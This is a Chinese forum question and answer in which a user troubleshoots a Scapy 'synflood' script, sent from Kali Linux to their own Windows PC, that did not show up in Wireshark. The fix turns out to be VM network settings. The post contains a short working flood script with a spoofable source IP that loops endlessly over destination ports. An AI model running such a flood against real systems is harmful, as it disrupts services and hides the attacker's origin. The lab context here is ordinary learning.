问题描述
我编写了一个代码,将数据包从Kali Linux计算机发送到Windows PC,但该数据包未在Wireshark中显示。代码中没有错误,它发送数据包,但未收到它们。
任何人都可以帮忙吗?
#!/usr/bin/python
from scapy.all import *
def synflood(src,tgt,message):
for dport in range(1024,65535):
IPlayer = IP(src=src,dst=tgt)
TCPlayer = TCP(sport=4444,dport=dport)
RAWlayer = Raw(load=message)
pkt = IPlayer/TCPlayer
send(pkt)
source = input("src: ")
target = input("targert : ")
message = input(" load : ")
while True:
synflood(source,target,message)
解决方法
更新:所以我解决了这个问题!我尝试用“ dport = 80”替换for语句,并为目标IP选择了另一个目的IP,而不是我的PC,它显示在wirehark中,这就是我意识到应该配置内部VM网络而不是桥接IP的原因。而且有效